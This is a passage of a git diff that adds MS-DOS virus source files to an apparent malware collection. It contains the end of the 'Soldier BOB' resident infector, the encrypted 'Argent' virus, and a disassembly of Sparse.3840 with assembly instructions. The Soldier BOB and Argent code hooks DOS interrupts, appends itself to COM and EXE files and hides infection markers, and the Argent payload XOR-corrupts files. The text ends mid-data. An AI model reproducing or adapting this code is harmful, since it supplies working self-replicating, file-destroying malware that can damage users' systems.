cs:[bp+(exe_header+14h-get_bp)] + retf + +original_int21h dd ? +original_int1Bh dd ? +original_int09h dd ? +original_int1Ch dd ? +start_time db ? + + db 'Soldier BOB - (c)jan-94 by A:N:O:I',10,13 + db 'Programmed by Macaroni Ted' + +hook_memory: + push ds + + push cs + pop ds + + mov cx,es + dec cx + mov es,cx + mov bx,word ptr es:[3h] + mov dx,virlen + mov cl,4 + shr dx,cl + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4ah + int 21h + +; jc exit_com + mov ah,48h + dec dx + mov bx,dx ;it's done + int 21h + +; jc exit_com + dec ax + mov es,ax + mov cx,8h + mov word ptr es:[1h],cx + sub ax,0fh + mov di,100h ;begin of virus + mov es,ax + lea si,[bp+(start-get_bp)] + mov cx,virlen ;<=== virus len + cld + repne movsb + + pop ds + ret + +hook_interrupts: ;int 21h + mov ax,3521h + int 21h + mov word ptr [original_int21h],bx + mov word ptr [original_int21h+2],es + mov ax,2521h + lea dx,new_int_21h + int 21h + + mov ax,351ch ;int 1Ch + int 21h + mov word ptr [original_int1ch],bx + mov word ptr [original_int1ch+2],es + mov ax,251ch + lea dx,new_int_1ch + int 21h + ret + +push_all: + pop cs:tmp_adr + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + jmp word ptr cs:tmp_adr + +tmp_adr dw ? + db 'Soldier BOB - Made in Sweden' +pop_all: + pop cs:tmp_adr + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp word ptr cs:tmp_adr +int21h: + pushf + call dword ptr cs:original_int21h + retn +scroll: ;input ax + push bx dx cx ax + mov dx,3D4h + push ax + and al,0Fh + mov ah,8 + xchg al,ah + out dx,ax + + pop ax + mov cl,4 + shr ax,cl + mov cx,50h + mul cx + mov cl,al + mov al,0Ch + mov dx,3D4h + out dx,ax + + mov ah,cl + inc al + out dx,ax + + pop ax cx dx bx + ret + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; Int 21h +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +new_int_21h: + pushf + + call push_all + + mov ah,2ch + call int21h + mov cs:time_h,ch + + call pop_all + + cmp ah,4bh ;execute + je execute_file + + cmp ah,11h ;fool dir + je find__ + cmp ah,12h + je find__ + + cmp ah,4eh ;dos 2.x + je find_ + cmp ah,4fh + je find_ + + cmp ah,36h ;get free space + je get_free_space + + cmp ax,0ff4eh ;mem check (?N) + je mem_check + +exit_21h: + popf + jmp dword ptr cs:original_int21h +mem_check: + mov ax,4f49h ;(OI) + popf + iret +find_: + jmp find_new +find__: + jmp find_old + +file_date dw ? +file_time dw ? +file_size1 dw ? +file_size2 dw ? +attribute dw ? + +mask_com db '*.com',0 +mask_exe db '*.exe',0 +infected_files dw 0 + + +execute_file: + call infect ;infect ds:dx + jmp exit_21h +get_free_space: + call push_all + push cs cs + pop ds es + + lea si,file_buffer +restore_buffer: + lodsb + cmp al,0ffh ;end of buffer + je done_infecting + dec si + + push si ;infect it + mov dx,si + call infect + pop si +get_eo_name: + lodsb + cmp al,0ffh + je done_infecting + or al,al + jnc get_eo_name + jmp restore_buffer + +done_infecting: + mov byte ptr cs:[file_buffer],0ffh ;clear buffer + call pop_all + jmp exit_21h + +find_old: + popf + + call int21h + cmp al,0ffh + jne push_it + jmp no_more_files +push_it: + call push_all + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + mov si,bx ;ds:si + + add si,16 ;ext name + lodsw + mov dx,ax + lodsb + cmp dx,'OC' ;ext=COM? + jne check_exe + cmp al,'M' + jne check_exe + jmp ext_ok +check_exe: + cmp dx,'XE' ;ext=EXE? + jne cancel_ff + cmp al,'E' + jne cancel_ff +ext_ok: +; mov si,bx +; add si,38 +; lodsw +; cmp ax,0 +; jne cancel_ff + + mov si,bx ;check if already infected + add si,30 + lodsw ;time + and al,00011111b + cmp al,14 + je infected ;already infected (sec=28) + + push cs + pop es + + lea di,file_buffer + mov cx,260 +get_end_of_buffer: + mov al,byte ptr es:[di] + cmp al,0ffh ;end of buffer? + je end_of_buffer + inc di + loop get_end_of_buffer +end_of_buffer: + cmp cx,14 + jb cancel_ff + + mov si,bx + add si,8 ;filename + + mov cx,8 +copy_filename: + lodsb + cmp al,20h + je copy_filename_klar + stosb + loop copy_filename +copy_filename_klar: + mov al,'.' + stosb + mov si,bx ;copy ext + add si,16 + movsb + movsb + movsb + mov al,0 + stosb + mov al,0ffh + stosb + + jmp cancel_ff +infected: + mov si,bx ;alter size + add si,36 + mov di,si + lodsw + sub ax,virlen + jz cancel_ff + stosw +cancel_ff: + call pop_all +no_more_files: retf 2 ;iret flags + +find_new: + popf + + call int21h + jnc more_files + retf 2 +more_files: + pushf + call push_all + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + mov si,bx ;ds:si + + add si,1eh ;filename +get_ext: + lodsb + or al,al + jnz get_ext + sub si,4 + lodsw + cmp ax,'XE' + je check_E + cmp ax,'OC' + je check_M + cmp ax,'xe' + je check_e + cmp ax,'oc' + je check_m + jmp cancel_new +check_E: + lodsb + cmp al,'E' + je ext_is_ok + cmp al,'e' + je ext_is_ok + jmp cancel_new +check_M: + lodsb + cmp al,'M' + je ext_is_ok + cmp al,'m' + je ext_is_ok + jmp cancel_ff +ext_is_ok: + mov si,bx + add si,16h + lodsw ;time + and al,00011111b + cmp al,14 + je infected2 ;already infected (sec=28) + + mov dx,bx + add dx,1eh + call infect + + jmp cancel_new +infected2: + mov si,bx + add si,1ah + mov di,si + lodsw ;alter size + sub ax,virlen + jz cancel_new + stosw +cancel_new: + call pop_all + popf + retf 2 + +infect: + call push_all + mov si,dx + + mov ax,4300h ;get attrib + int 21h + mov cs:attribute,cx ;save it + xor cx,cx + mov ax,4301h ;force all attribs + int 21h + +; mov ax,6C00h ;open file +; mov bx,0010000011000010b ;read/write disable int 24h +; mov dx,0000000000010001b ;error if not found, != open +; int 21h + mov ax,3d02h + mov dx,si + int 21h + mov bx,ax + + push cs cs + pop ds es + + mov ah,57h ;get file date/time + mov al,0 + int 21h + mov file_date,dx + mov file_time,cx + + mov ah,3fh ;read (exe) header + mov cx,1ch + lea dx,exe_header + int 21h + + cmp word ptr [exe_header+12h],'IA' ;already infected(exe) + jne check_com + jmp close_file +check_com: + cmp word ptr [exe_header],'IA' ;already infected(com) + jne goto_end + jmp close_file +goto_end: + mov ax,4202h ;goto end of file + mov cx,0 + mov dx,0 + int 21h + mov file_size1,ax + mov file_size2,dx + + mov ah,40h + lea dx,start + mov cx,virlen + int 21h + + mov ax,4200h + mov cx,0 + mov dx,0 + int 21h + + cmp word ptr [exe_header],'ZM' + jne infect_com + jmp infect_exe +infect_com: + cmp file_size2,0 + jne close_file + mov ax,file_size1 + sub ax,5 + mov jmp_2,ax + + mov ah,40h + mov cx,5 + lea dx,jmp_1 + int 21h + + jmp close_file +infect_exe: + mov ax,4202h + mov dx,0 + mov cx,0 + int 21h + + mov cx,200h ;512 + div cx + inc ax + mov word ptr [exe_header+2],dx + mov word ptr [exe_header+4],ax + + mov ax,file_size1 ;old file size + mov dx,file_size2 + + mov cx,10h + div cx + sub ax,word ptr [exe_header+8h] + mov word ptr ds:[exe_header+16h],ax + mov word ptr ds:[exe_header+14h],dx + + mov word ptr [exe_header+12h],'IA' + + mov ax,4200h + mov dx,0 + mov cx,0 + int 21h + + mov ah,40h ;write exe header + mov cx,1Ch + lea dx,exe_header + int 21h +close_file: + mov dx,file_date + mov cx,file_time + and cl,11100000b + or cl,00001110b ;secs = 28 + + mov ax,5701h ;set time/date + int 21h + + mov ah,3eh ;close file + int 21h + + call pop_all + call push_all ;restore filename + + mov ax,4301h ;set attrib original attrib + mov cx,cs:attribute + int 21h + + call pop_all + ret + +exe_header db 41h,49h,90h,0cdh,20h ;5 first bytes + db 1Ch-5 dup(0) ;28 + +jmp_1 db 41h,49h ;inc cx, dec cx + db 0e9h ;jmp +jmp_2 dw ? ;xxxx + + +file_buffer db 0ffh,259 dup(0) ;20 filename 12345678.123,0 + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; Int 1Bh +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +new_int_1Bh: +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; Int 09h +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +new_int_09h: +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; Int 1Ch +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +new_int_1Ch: + call push_all + + mov al,cs:start_time + cmp al,cs:time_h + jne exit_1ch + jmp rave_it +exit_1Ch: + call pop_all + jmp dword ptr cs:original_int1Ch + +time_h db 0 + +scroll_pos dw 32 ;bx +do_inc dw 0 ;dx + +rave_it: + inc cs:do_inc + cmp cs:do_inc,3 + jne dont_high + mov cs:do_inc,0 + inc cs:scroll_pos +dont_high: + mov cx,cs:scroll_pos + mov ax,0 +scroll_1: + call scroll + inc ax + loop scroll_1 + + mov cx,cs:scroll_pos + add cx,cx +scroll_2: + call scroll + dec ax + loop scroll_2 + jmp rave_it + + +virlen equ offset eof - offset start +eof: + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.som.asm b/MSDOS/Virus.MSDOS.Unknown.som.asm new file mode 100644 index 00000000..9f8614ea --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.som.asm @@ -0,0 +1,405 @@ +; SOM.asm : [Argent] by Abraxas +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'Z1' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption + mov cx,(offset heap - offset startencrypt)/2 ; iterations +patch_startencrypt: + mov di,offset startencrypt ; start of decryption +decrypt_loop: + db 2eh,81h,35h ; xor word ptr cs:[di], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc di ; calculate new decryption location + inc di + loop decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],2 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + mov ah,2ch ; Get current time + int 21h + cmp dl,50 ; Check the percentage + jbe activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate: ; Conditions satisfied + mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D02h ; DOS open file function, r/w + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX +c_crypt_loop: mov ah,03Fh ; DOS read from file function + mov cx,4096 ; Read 4k of characters + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + or ax,ax ; Were 0 bytes read? + je close_c_file ; If so then close it up + push ax ; Save AX + lea si,[bp - 4096] ; SI points to the buffer + xor ah,ah ; BIOS get clock ticks function + int 01Ah + pop cx ; CX holds number of bytes read + push cx ; Save CX +corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks + inc si ; Do the next byte + inc dx ; Change the key for next byte + loop corrupt_bytes ; Repeat until buffer is done + pop dx ; Restore DX (holds bytes read) + push dx ; Save count for write + mov ax,04201h ; DOS file seek function, current + mov cx,0FFFFh ; Seeking backwards + neg dx ; Seeking backwards + int 021h + mov ah,040h ; DOS write to file function + pop cx ; CX holds number of bytes read + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + jmp short c_crypt_loop +close_c_file: mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc Activate ; If successful do next file +corrupt_end: pop di ; Restore DI + mov sp,bp ; Deallocate local buffer + pop bp ; Restore BP + jmp exit_virus + +creator db '[Z10]',0 ; Mass Produced Code Generator +virusname db '[Argent]',0 +author db 'Abraxas',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,15000 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/MSDOS/Virus.MSDOS.Unknown.sparse.asm b/MSDOS/Virus.MSDOS.Unknown.sparse.asm new file mode 100644 index 00000000..caa0a7b9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sparse.asm @@ -0,0 +1,356 @@ +comment * + Sparse.3840 + Disassembly by + Darkman/29A + + Sparse.3840 is a 3584 bytes parasitic resident COM virus. Infects at load + and/or execute program by appending the virus to the infected file. + + To compile Sparse.3840 with Turbo Assembler v 4.0 type: + TASM /M SPARSE.ASM + TLINK /t /x SPARSE.OBJ +* + +.model tiny +.code + org 100h ; Origin of Sparse.3840 + +code_begin: + mov ax,4b55h ; Sparse.3840 function + int 21h + cmp ax,1231h ; Already resident? + je virus_exit ; Equal? Jump to virus_exit + + mov ax,3521h ; Get interrupt vector 21h + int 21h + + mov al,11101010b ; JMP imm32 (opcode 0eah) + mov [jmp_imm32],al ; Store JMP imm32 (opcode 0eah) + mov word ptr [int21_addr],bx + mov word ptr [int21_addr+02],es + + mov ax,2521h ; Set interrupt vector 21h + lea dx,int21_virus ; DX = offset of int21_virus + int 21h + + mov ah,4ah ; Resize memory block + + push cs ; Save CS at stack + pop es ; Load ES from stack (CS) + + mov bx,0efh ; BX = new size in paragraphs + int 21h + + mov ah,48h ; Allocate memory + mov bx,1000h ; BX = number of paragraphs to all... + int 21h + + db 89h,0c7h ; MOV DI,AX + db 89h,0c2h ; MOV DX,AX + + mov ah,50h ; Set current PSP address + db 89h,0d3h ; MOV BX,DX + int 21h + + mov ds,di ; DS = segment of allocated block + + push ds ; Save DS at stack + pop es ; Load ES from stack (DS) + + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + mov si,00h ; SI = offset of Program Segment P... + mov di,00h ; DI = " " " " " + mov cx,0ffh ; Move two hundred and fifty-five ... + + cld ; Clear direction flag +move_psp: + lodsb ; AL = byte of Program Segment Pre... + stosb ; Store byte of Program Segment Pr... + + loop move_psp + + push es es ; Save segments at stack + pop ds ss ; Load segments from stack + + mov bx,100h ; BX = offset of beginning of code + push es bx ; Save registers at stack + + mov si,es ; SI = segment of PSP for current ... + dec si ; SI = segment of current Memory C... + mov ds,si ; DS = " " " " " + + mov ds:[01h],es ; Store PSP segment of owner + + mov si,es ; SI = segment of allocated memory + mov ds,si ; DS = " " " " + + db 31h,0c0h ; XOR AX,AX + db 31h,0dbh ; XOR BX,BX + db 31h,0c9h ; XOR CX,CX + db 31h,0d2h ; XOR DX,DX + + retf ; Return far! + + db 0f9h,0fbh,0ffh,6fh,0f5h,1ah,03h dup(40h),03 dup(23h),20h + db 49h,42h +virus_exit: + push cs cs ; Save segments at stack + pop es ds ; Load segments from stack + + lea si,restore ; SI = offset of restore + mov di,0a0h ; DI = offset within commandline/d... + + cld ; Clear direction flag +move_restore: + lodsb ; AL = byte of restore + stosb ; Store byte of restore + + cmp si,offset restore+(restore_end-restore) + jne move_restore + + db 11101001b ; JMP imm16 (opcode 0e9h) + dw 0ff0ah ; Offset of beginning of code + db 0ah dup(00h),40h,44h,1eh dup(00h),60h,44h,1eh dup(00h) + db 80h,44h,1eh dup(00h) +int21_exit: +jmp_imm32 db 11101010b ; JMP imm32 (opcode 0eah) +int21_addr dw ? ; Address of interrupt 21h + db 1dh dup(00h),0c0h,44h,1eh dup(00h),0e0h,44h,1eh dup(00h) + +restore proc near ; Restore the infected file + lea si,code_end+100h ; SI = offset of code_end+100h + mov di,100h ; DI = offset of beginning of code + mov cx,0ef00h ; Move sixty-one thousand and one ... + + cld ; Clear direction flag +move_origina: + lodsb ; AL = byte of original code + stosb ; Store byte of original code + + loop move_origina + + mov ax,00h ; Zero AX + mov bx,00h ; Zero BX + mov cx,00h ; Zero CX + mov dx,00h ; Zero DX + mov di,00h ; Zero DI + mov si,00h ; Zero SI + + db 11101011b ; JMP imm8 (opcode 0ebh) + db 3eh ; Offset of beginning of code + endp +restore_end: + db 1eh dup(00h),40h,45h,1eh dup(00h),60h,45h,1eh dup(00h) + db 80h,45h,1eh dup(00h) +int21_virus: + pushf ; Save flags at stack + sti ; Set interrupt-enable flag + + cmp ah,4bh ; Load and/or execute program; Sp...? + je load_and_exe ; Equal? Jump to load_and_exe + + popf ; Load flags from stack + + jmp int21_exit +load_and_exe: + cmp al,55h ; Sparse.3840 function? + jne infect_file ; Not equal? Jump to infect_file + + popf ; Load flags from stack + + mov ax,1231h ; Already resident + + iret ; Interrupt return! +infect_file: + push ax bx cx dx si di ds es + + jmp tst_file_ext +allocate_mem: + mov ah,48h ; Allocate memory + mov bx,0fffh ; BX = number of paragraphs to all... + int 21h + + push ax ; Save AX at stack + + mov ah,3dh ; Open file (read/write) + mov al,02h + int 21h + db 89h,0c3h ; MOV BX,AX + + mov ah,42h ; Set current file position (EOF) + mov cx,00h ; CX:DX = offset from origin of ne... + mov dx,00h ; " " " " " " " + mov al,02h + int 21h + db 89h,0c1h ; MOV CX,AX + + push cx ; Save CX at stack + mov ax,4200h ; Set current file position (SOF) + mov cx,00h ; CX:DX = offset from origin of ne... + mov dx,00h ; " " " " " " " + int 21h + pop cx ; Load CX from stack + + pop ds ; Load DS from stack (AX) + + mov dx,00 ; DX = offset of original code + mov ah,3fh ; Read from file + push cx ; Save CX at stack + int 21h + + mov ah,42h ; Set current file position (SOF) + mov cx,00h ; CX:DX = offset from origin of ne... + mov dx,00h ; " " " " " " " + mov al,00h + int 21h + + jmp exam_file +write_virus: + mov ah,40h ; Write to file + + push ds ; Save DS at stack + + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + mov cx,(code_end-code_begin+100h) + lea dx,code_begin ; DX = offset of code_begin + int 21h + + pop ds ; Load DS from stack + + mov ah,40h ; Write to file + mov dx,00h ; DX = offset of original code + pop cx ; Load CX from stack + int 21h + + mov ah,49h ; Free memory + + push ds ; Save DS at stack + pop es ; Load ES from stack (DS) + + int 21h +close_file: + mov ah,3eh ; Close file + int 21h +infect_exit: + pop es ds di si dx cx bx ax + + popf ; Load flags from stack + + jmp int21_exit + + db 12h dup(00h),40h,46h,1eh dup(00h),60h,46h,1eh dup(00h) + db 80h,46h,1eh dup(00h) +tst_file_ext: + db 89h,0d6h ; MOV SI,DX + + cld ; Clear direction flag +find_dot: + lodsb ; AL = byte of filename + + cmp al,'.' ; Found the dot in the filename? + jne find_dot ; Not equal? Jump to find_dot + + lodsb ; AL = byte of file extension + cmp al,'C' ; COM extension? + je com_file_ext ; Equal? Jump to com_file_ext + cmp al,'c' ; COM extension? + je com_file_ext ; Equal? Jump to com_file_ext + + jmp infect_exit + + nop +com_file_ext: + jmp allocate_mem + + db 08h dup(00h) +exam_file: + push ds es di si ; Save registers at stack + + mov si,00h ; SI = offset of original code + + push cs ; Save CS at stack + pop es ; Load ES from stack (CS) + + lea di,code_begin ; DI = offset of code_begin + + cld ; Clear direction flag + + mov cx,09h ; Compare nine bytes +exam_file_: + cmpsb ; Already infected? + jne not_infected ; Not equal? Jump to not_infected + + loop exam_file_ + + pop si di es ds ; Load registers from stack + pop cx ; Load CX from stack + + jmp close_file + + nop + nop + nop +not_infected: + pop si di es ds ; Load registers from stack + + jmp write_virus + + db 1ah dup(00h),47h,1eh dup(00h),20h,47h,1eh dup(00h),40h + db 47h,1eh dup(00h),60h,47h,1eh dup(00h),80h,47h + db 1eh dup(00h),0a0h,47h,1eh dup(00h),0c0h,47h,1eh dup(00h) + db 0e0h,47h,1fh dup(00h),48h,1eh dup(00h),20h,48h + db 1eh dup(00h),40h,48h,1eh dup(00h),60h,48h,1eh dup(00h) + db 80h,48h,1eh dup(00h),0a0h,48h,1eh dup(00h),0c0h,48h + db 1eh dup(00h),0e0h,48h,1fh dup(00h),49h,1eh dup(00h),20h + db 49h,1eh dup(00h),40h,49h,1eh dup(00h),60h,49h + db 1eh dup(00h),80h,49h,1eh dup(00h),0a0h,49h,1eh dup(00h) + db 0c0h,49h,1eh dup(00h),0e0h,49h,1fh dup(00h),4ah + db 02h dup(00h),07h,02h,19h,00h,07h,12h,19h,00h,07h,22h,19h + db 00h,07h,32h,19h,00h,07h,42h,19h,00,07h,52h,19h,00h,07h + db 62h,19h,00h,20h,4ah,02h dup(00h),07h,82h,19h,00h,07h,92h + db 19h,00h,07h,0a2h,19h,00h,07h,0b2h,19h,00h,07h,0c2h,19h + db 00h,07h,0d2h,19h,00h,07h,0e2h,19h,00h,40h,4ah + db 02h dup(00h),07h,02h,1ah,00h,07h,12h,1ah,00h,07h,22h,1ah + db 00h,07h,32h,1ah,00h,07h,42h,1ah,00h,07h,52h,1ah,00h,07h + db 62h,1ah,00h,60h,4ah,02h dup(00h),07h,82h,1ah,00h,07h,92h + db 1ah,00h,07h,0d2h,1ah,00h,07h,0e2h,1ah,00h,07h,0f2h,1ah + db 00h,07h,02h,1bh,00h,07h,12h,1bh,00h,80h,4ah,02h dup(00h) + db 07h,32h,1bh,00h,07h,42h,1bh,00h,07h,62h,1bh,00h,07h,72h + db 1bh,00h,07h,82h,1bh,00h,07h,0a2h,1bh,00h,07h,0b2h,1bh,00h + db 0a0h,4ah,02h dup(00h),07h,0d2h,1bh,00h,07h,0e2h,1bh,00h + db 07h,0f2h,1bh,00h,07h,02h,1ch,00h,07h,12h,1ch,00h,07h,22h + db 1ch,00h,07h,42h,1ch,00h,0c0h,4ah,02h dup(00h),07h,72h,1ch + db 00h,07h,82h,1ch,00h,07h,0c2h,1ch,00h,07h,0d2h,1ch,00h,07h + db 0e2h,1ch,00h,07h,0f2h,1ch,00h,07h,02h,1dh,00h,0e0h,4ah + db 1fh dup(00h),4bh,1eh 